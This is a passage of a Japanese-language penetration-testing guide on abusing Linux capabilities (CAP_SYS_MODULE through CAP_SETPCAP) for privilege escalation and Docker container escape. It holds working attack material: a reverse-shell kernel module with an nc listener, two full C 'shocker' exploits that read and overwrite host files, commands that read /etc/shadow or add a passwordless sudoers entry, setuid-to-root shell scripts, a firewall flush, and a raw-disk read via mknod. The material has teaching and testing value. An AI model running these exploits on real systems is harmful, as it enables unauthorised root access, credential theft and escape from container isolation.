make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Warning

Makefile内の各make単語の前の空癜文字はスペヌスではなくタブでなければなりたせん

makeを実行しおコンパむルしたす。

Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade

最埌に、シェル内でncを起動し、別のシェルからモゞュヌルをロヌドするず、ncプロセス内でシェルをキャプチャできたす

#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell

この技術のコヌドは、 https://www.pentesteracademy.com/ の「SYS_MODULE Capabilityの悪甚」ラボからコピヌされたした。

この技術の別の䟋は、https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host にありたす。

CAP_DAC_READ_SEARCH は、プロセスがファむルの読み取りおよびディレクトリの読み取りず実行のための暩限をバむパスするこずを可胜にしたす。その䞻な甚途はファむル怜玢たたは読み取りの目的です。しかし、これによりプロセスは open_by_handle_at(2) 関数を䜿甚でき、プロセスのマりントネヌムスペヌスの倖にあるファむルを含む任意のファむルにアクセスできたす。open_by_handle_at(2) で䜿甚されるハンドルは、name_to_handle_at(2) を通じお取埗された非透明な識別子であるべきですが、改ざんに脆匱なinode番号のような機密情報を含む可胜性がありたす。この胜力の悪甚の可胜性は、特にDockerコンテナの文脈においお、Sebastian Krahmerによっおショッカヌ゚クスプロむトで瀺されたした。詳现はこちらで分析されおいたす。 これは、ファむルの読み取り暩限チェックずディレクトリの読み取り/実行暩限チェックをバむパスできるこずを意味したす。

バむナリの䟋

バむナリは任意のファむルを読み取るこずができたす。したがっお、tarのようなファむルがこの胜力を持っおいる堎合、shadowファむルを読み取るこずができたす。

cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz

Example with binary2

この堎合、python バむナリがこの胜力を持っおいるず仮定したす。ルヌトファむルをリストするには、次のようにしたす:

import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)

ファむルを読むためには、次のようにできたす:

print(open("/etc/shadow", "r").read())

環境の䟋 (Dockerブレむクアりト)

Dockerコンテナ内で有効な胜力を確認するには、次のコマンドを䜿甚したす:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

前の出力では、DAC_READ_SEARCH暩限が有効になっおいるこずがわかりたす。その結果、コンテナはプロセスのデバッグが可胜です。

次の゚クスプロむトの仕組みに぀いおはhttps://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3で孊ぶこずができたすが、芁玄するずCAP_DAC_READ_SEARCHは、蚱可チェックなしでファむルシステムを暪断するこずを可胜にするだけでなく、_open_by_handle_at(2)_ぞのチェックを明瀺的に削陀し、他のプロセスによっお開かれた機密ファむルに私たちのプロセスがアクセスできる可胜性があるずいうこずです。

この暩限を悪甚しおホストからファむルを読み取る元の゚クスプロむトはここにありたす: http://stealth.openwall.net/xSports/shocker.c。以䞋は、読み取りたいファむルを最初の匕数ずしお指定し、それをファむルにダンプするこずを可胜にする修正バヌゞョンです。

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}

++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}

fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}


int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");

read(0, buf, 1);

// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");

if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");

fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");

printf("Success!!\n");

FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);

close(fd2); close(fd1);

return 0;
}

Warning

この゚クスプロむトは、ホスト䞊にマりントされた䜕かぞのポむンタを芋぀ける必芁がありたす。元の゚クスプロむトはファむル /.dockerinit を䜿甚しおおり、この修正されたバヌゞョンは /etc/hostname を䜿甚しおいたす。゚クスプロむトが機胜しない堎合は、別のファむルを蚭定する必芁があるかもしれたせん。ホストにマりントされおいるファむルを芋぀けるには、mount コマンドを実行しおください

この技術のコヌドは、 https://www.pentesteracademy.com/ の「DAC_READ_SEARCH Capabilityの悪甚」ラボからコピヌされたした。

CAP_DAC_OVERRIDE

これは、任意のファむルに察する曞き蟌み暩限チェックをバむパスできるこずを意味し、任意のファむルに曞き蟌むこずができたす。

特暩を昇栌させるために䞊曞きできるファむルはたくさんありたす。 ここからアむデアを埗るこずができたす。

バむナリの䟋

この䟋では、vim はこの胜力を持っおいるため、passwd、sudoers、たたは shadow のような任意のファむルを倉曎できたす

getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep

vim /etc/sudoers #To overwrite it

Example with binary 2

この䟋では、python バむナリはこの胜力を持ちたす。あなたは python を䜿甚しお任意のファむルを䞊曞きするこずができたす:

file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()

環境 + CAP_DAC_READ_SEARCH (Dockerブレむクアりト)の䟋

Dockerコンテナ内で有効な胜力を確認するには、次のコマンドを䜿甚したす:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

たず最初に、ホストのDAC_READ_SEARCH胜力を悪甚しお任意のファむルを読み取るずいう前のセクションを読み、゚クスプロむトをコンパむルしおください。
次に、ホストのファむルシステム内に任意のファむルを曞き蟌むこずを可胜にする次のバヌゞョンのショッカヌ゚クスプロむトをコンパむルしおください

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}

Dockerコンテナから脱出するために、ホストからファむル/etc/shadowず/etc/passwdをダりンロヌドし、それに新しいナヌザヌを远加し、shocker_writeを䜿甚しお䞊曞きするこずができたす。その埌、ssh経由でアクセスしたす。

この技術のコヌドは、 https://www.pentesteracademy.com の「DAC_OVERRIDE Capabilityの悪甚」ラボからコピヌされたした。

CAP_CHOWN

これは、任意のファむルの所有暩を倉曎できるこずを意味したす。

バむナリの䟋

pythonバむナリがこの胜力を持っおいるず仮定するず、shadowファむルの所有者を倉曎し、rootパスワヌドを倉曎し、特暩を昇栌させるこずができたす。

python -c 'import os;os.chown("/etc/shadow",1000,1000)'

ruby バむナリがこの胜力を持っおいる堎合:

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

これは、任意のファむルの暩限を倉曎できるこずを意味したす。

バむナリの䟋

もしpythonがこの胜力を持っおいれば、shadowファむルの暩限を倉曎し、rootパスワヌドを倉曎し、特暩を昇栌させるこずができたす

python -c 'import os;os.chmod("/etc/shadow",0666)

CAP_SETUID

これは、䜜成されたプロセスの有効ナヌザヌIDを蚭定できるこずを意味したす。

バむナリの䟋

もしpythonがこのcapabilityを持っおいる堎合、特暩をrootに昇栌させるために非垞に簡単に悪甚できたす

import os
os.setuid(0)
os.system("/bin/bash")

別の方法:

import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

これは、䜜成されたプロセスの有効グルヌプIDを蚭定できるこずを意味したす。

特暩を昇栌させるために䞊曞きできるファむルがたくさんありたす、 ここからアむデアを埗るこずができたす。

バむナリの䟋

この堎合、グルヌプが読み取れる興味深いファむルを探すべきです。なぜなら、任意のグルヌプを停装できるからです

#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

ファむルを芋぀けお読み取りたたは曞き蟌みを通じお特暩を昇栌させるこずができる堎合、次のコマンドを䜿甚しお興味のあるグルヌプを停装したシェルを取埗できたす:

import os
os.setgid(42)
os.system("/bin/bash")

この堎合、グルヌプshadowがなりすたしされおいるため、ファむル/etc/shadowを読むこずができたす:

cat /etc/shadow

もしdockerがむンストヌルされおいる堎合、docker groupをなりすたすこずができ、docker socketず特暩を昇栌させるためにそれを悪甚するこずができたす。

CAP_SETFCAP

これは、ファむルやプロセスに胜力を蚭定するこずが可胜であるこずを意味したす

バむナリの䟋

もしpythonがこの胜力を持っおいる堎合、特暩をrootに昇栌させるためにそれを非垞に簡単に悪甚するこずができたす

import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
print (cap + " was successfully added to " + path)
python setcapability.py /usr/bin/python2.7

Warning

新しい胜力をバむナリにCAP_SETFCAPで蚭定するず、この胜力を倱うこずに泚意しおください。

SETUID capabilityを取埗するず、そのセクションに移動しお特暩を昇栌させる方法を確認できたす。

環境の䟋Dockerブレむクアりト

デフォルトでは、胜力CAP_SETFCAPはDocker内のプロセスに䞎えられたす。これを確認するには、次のようなこずを行いたす:

cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

この胜力はバむナリに他の任意の胜力を䞎えるこずを可胜にするため、私たちはこのペヌゞで蚀及されおいる他の胜力のブレむクアりトを悪甚しおコンテナから脱出するこずを考えるこずができたす。
しかし、䟋えばgdbバむナリにCAP_SYS_ADMINずCAP_SYS_PTRACEの胜力を䞎えようずするず、それらを䞎えるこずはできたすが、この埌バむナリは実行できなくなりたす:

getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb

/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted

From the docs: Permitted: これはスレッドが仮定できる有効な胜力の制限されたスヌパヌセットです。たた、CAP_SETPCAP胜力を有効なセットに持たないスレッドによっお継承可胜なセットに远加できる胜力の制限されたスヌパヌセットでもありたす。
Permitted capabilitiesは䜿甚できるものを制限しおいるようです。
しかし、DockerはデフォルトでCAP_SETPCAPも付䞎するため、継承可胜なものの䞭に新しい胜力を蚭定できるかもしれたせん。
しかし、この胜力のドキュメントには次のように蚘茉されおいたす: CAP_SETPCAP : [
] 呌び出しスレッドのバりンディングセットからその継承可胜なセットに任意の胜力を远加したす。
぀たり、CAP_SYS_ADMINやCAP_SYS_PTRACEのような新しい胜力を継承セットに远加するこずはできないずいうこずです。

CAP_SYS_RAWIO

CAP_SYS_RAWIOは、/dev/mem、/dev/kmem、たたは/proc/kcoreぞのアクセス、mmap_min_addrの倉曎、ioperm(2)およびiopl(2)システムコヌルぞのアクセス、さたざたなディスクコマンドを含む倚くのセンシティブな操䜜を提䟛したす。この胜力を介しおFIBMAP ioctl(2)も有効になっおおり、過去に問題を匕き起こしたこずがありたす。マニュアルペヌゞによれば、これにより保持者は他のデバむスに察しおデバむス固有の操䜜を実行するこずができたす。

これは特暩昇栌やDockerブレむクアりトに圹立ちたす。

CAP_KILL

これは、任意のプロセスを終了させるこずが可胜であるこずを意味したす。

バむナリの䟋

pythonバむナリがこの胜力を持っおいるず仮定したしょう。もしサヌビスや゜ケットの蚭定たたはサヌビスに関連する任意の蚭定ファむルを倉曎できるなら、バックドアを仕掛け、そのサヌビスに関連するプロセスを終了させお、新しい蚭定ファむルがバックドアで実行されるのを埅぀こずができたす。

#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)

Privesc with kill

もしあなたがkill暩限を持っおいお、rootずしお実行されおいるnodeプログラムたたは別のナヌザヌずしおを芋぀けた堎合、SIGUSR1信号を送信しお、nodeデバッガヌを開かせるこずができるかもしれたせん。

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

Node inspector/CEF debug abuse

CAP_NET_BIND_SERVICE

これは、特暩ポヌトを含む任意のポヌトでリッスンできるこずを意味したす。 この胜力を䜿っお盎接特暩を昇栌させるこずはできたせん。

バむナリの䟋

もし**python**がこの胜力を持っおいれば、任意のポヌトでリッスンでき、さらにそこから他のポヌトに接続するこずもできたすいく぀かのサヌビスは特定の特暩ポヌトからの接続を必芁ずしたす。

import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)

CAP_NET_RAW

CAP_NET_RAW 暩限は、プロセスが RAW および PACKET ゜ケットを䜜成 できるこずを蚱可し、任意のネットワヌクパケットを生成および送信できるようにしたす。これにより、パケットの停装、トラフィックの泚入、ネットワヌクアクセス制埡の回避など、コンテナ化された環境におけるセキュリティリスクが生じる可胜性がありたす。悪意のある行為者は、これを利甚しおコンテナのルヌティングに干枉したり、特に適切なファむアりォヌル保護がない堎合にホストのネットワヌクセキュリティを䟵害する可胜性がありたす。さらに、CAP_NET_RAW は、RAW ICMP リク゚ストを介しお ping などの操䜜をサポヌトするために特暩コンテナにずっお重芁です。

これは、トラフィックをスニッフィングするこずが可胜であるこずを意味したす。 この暩限を䜿甚しお盎接特暩を昇栌させるこずはできたせん。

バむナリの䟋

バむナリ tcpdump がこの暩限を持っおいる堎合、ネットワヌク情報をキャプチャするために䜿甚できたす。

getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep

泚意しおください、もし環境がこの胜力を䞎えおいる堎合、**tcpdump**を䜿甚しおトラフィックをスニッフィングするこずもできたす。

バむナリ2の䟋

以䞋の䟋は、“lo”localhostむンタヌフェヌスのトラフィックをむンタヌセプトするのに圹立぀**python2**コヌドです。このコヌドは、https://attackdefense.pentesteracademy.com/のラボ“The Basics: CAP-NET_BIND + NET_RAW“からのものです。

import socket
import struct

flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]

def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))

flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])

elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]

if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1

CAP_NET_ADMIN + CAP_NET_RAW

CAP_NET_ADMIN 暩限は、保持者に ネットワヌク蚭定を倉曎する 暩限を付䞎したす。これには、ファむアりォヌル蚭定、ルヌティングテヌブル、゜ケットの暩限、および公開されたネットワヌク名前空間内のネットワヌクむンタヌフェヌス蚭定が含たれたす。たた、ネットワヌクむンタヌフェヌスで プロミスキャスモヌド を有効にし、名前空間を越えたパケットスニッフィングを可胜にしたす。

バむナリの䟋

python バむナリ がこれらの暩限を持っおいるず仮定したしょう。

#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

CAP_LINUX_IMMUTABLE

これはinode属性を倉曎できるこずを意味したす。 この胜力を䜿っお特暩を盎接昇栌させるこずはできたせん。

バむナリの䟋

ファむルが䞍倉であり、pythonがこの胜力を持っおいるこずがわかった堎合、䞍倉属性を削陀しおファむルを倉曎可胜にするこずができたす

#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

Tip

通垞、この䞍倉属性は次のように蚭定および削陀されたす

sudo chattr +i file.txt
sudo chattr -i file.txt

CAP_SYS_CHROOT

CAP_SYS_CHROOT は、chroot(2) システムコヌルの実行を可胜にし、既知の脆匱性を通じお chroot(2) 環境からの脱出を蚱可する可胜性がありたす

CAP_SYS_BOOT

CAP_SYS_BOOT は、特定のハヌドりェアプラットフォヌム向けに調敎された LINUX_REBOOT_CMD_RESTART2 のような特定のコマンドを含むシステム再起動のための reboot(2) システムコヌルの実行を蚱可するだけでなく、kexec_load(2) の䜿甚を可胜にし、Linux 3.17 以降は新しいたたは眲名されたクラッシュカヌネルをそれぞれ読み蟌むための kexec_file_load(2) を有効にしたす。

CAP_SYSLOG

CAP_SYSLOG は、Linux 2.6.37 でより広範な CAP_SYS_ADMIN から分離され、syslog(2) コヌルを䜿甚する胜力を特に付䞎したした。この機胜により、kptr_restrict 蚭定が 1 のずきに /proc や類䌌のむンタヌフェヌスを介しおカヌネルアドレスを衚瀺するこずが可胜になりたす。Linux 2.6.39 以降、kptr_restrict のデフォルトは 0 であり、カヌネルアドレスが公開されたすが、倚くのディストリビュヌションはセキュリティ䞊の理由からこれを 1uid 0 以倖からアドレスを隠すたたは 2垞にアドレスを隠すに蚭定しおいたす。

さらに、CAP_SYSLOG は、dmesg_restrict が 1 に蚭定されおいるずきに dmesg 出力にアクセスするこずを蚱可したす。これらの倉曎にもかかわらず、CAP_SYS_ADMIN は歎史的な前䟋により syslog 操䜜を実行する胜力を保持しおいたす。

CAP_MKNOD

CAP_MKNOD は、通垞のファむル、FIFO名前付きパむプ、たたは UNIX ドメむン゜ケットの䜜成を超えお mknod システムコヌルの機胜を拡匵したす。特に、次のような特別なファむルの䜜成を蚱可したす

  • S_IFCHR: 端末のようなデバむスであるキャラクタ特殊ファむル。
  • S_IFBLK: ディスクのようなデバむスであるブロック特殊ファむル。

この機胜は、デバむスファむルを䜜成する胜力を必芁ずするプロセスにずっお䞍可欠であり、キャラクタたたはブロックデバむスを介しお盎接ハヌドりェアず察話するこずを容易にしたす。

これはデフォルトの Docker 機胜です (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)。

この機胜は、次の条件䞋でホスト䞊で特暩昇栌フルディスク読み取りを通じおを行うこずを蚱可したす

  1. ホストぞの初期アクセスを持っおいる特暩なし。
  2. コンテナぞの初期アクセスを持っおいる特暩ありEUID 0、および有効な CAP_MKNOD。
  3. ホストずコンテナは同じナヌザヌ名前空間を共有する必芁がありたす。

コンテナ内でブロックデバむスを䜜成およびアクセスする手順

  1. ホスト䞊で暙準ナヌザヌずしお
  • id で珟圚のナヌザヌ ID を確認したす。䟋uid=1000(standarduser)。
  • 察象デバむスを特定したす。䟋/dev/sdb。
  1. コンテナ内で root ずしお
# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
  1. ホストに戻る:
# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb

このアプロヌチにより、暙準ナヌザヌはコンテナを通じお /dev/sdb にアクセスし、デヌタを読み取る可胜性がありたす。これは、共有ナヌザヌ名前空間ずデバむスに蚭定された暩限を利甚しおいたす。

CAP_SETPCAP

CAP_SETPCAP は、プロセスが他のプロセスの 胜力セットを倉曎する こずを可胜にし、効果的、継承可胜、蚱可されたセットからの胜力の远加たたは削陀を蚱可したす。ただし、プロセスは自分の蚱可されたセットに存圚する胜力のみを倉曎できるため、他のプロセスの特暩を自分のもの以䞊に匕き䞊げるこずはできたせん。最近のカヌネルの曎新により、これらのルヌルが厳栌化され、CAP_SETPCAP は自分自身たたはその子孫の蚱可されたセット内の胜力を枛少させるこずのみを蚱可するよう制限されおいたす。これは、セキュリティリスクを軜枛するこずを目的ずしおいたす。䜿甚するには、効果的なセットに CAP_SETPCAP を持ち、タヌゲットの胜力を蚱可されたセットに持っおいる必芁があり、capset() を䜿甚しお倉曎を行いたす。これが CAP_SETPCAP の栞心的な機胜ず制限を芁玄しおおり、特暩管理ずセキュリティ匷化におけるその圹割を匷調しおいたす。

CAP_SETPCAP は、プロセスが他のプロセスの 胜力セットを倉曎する こずを可胜にするLinuxの胜力です。他のプロセスの効果的、継承可胜、蚱可された胜力セットから胜力を远加たたは削陀する胜力を付䞎したす。ただし、この胜力の䜿甚方法には特定の制限がありたす。

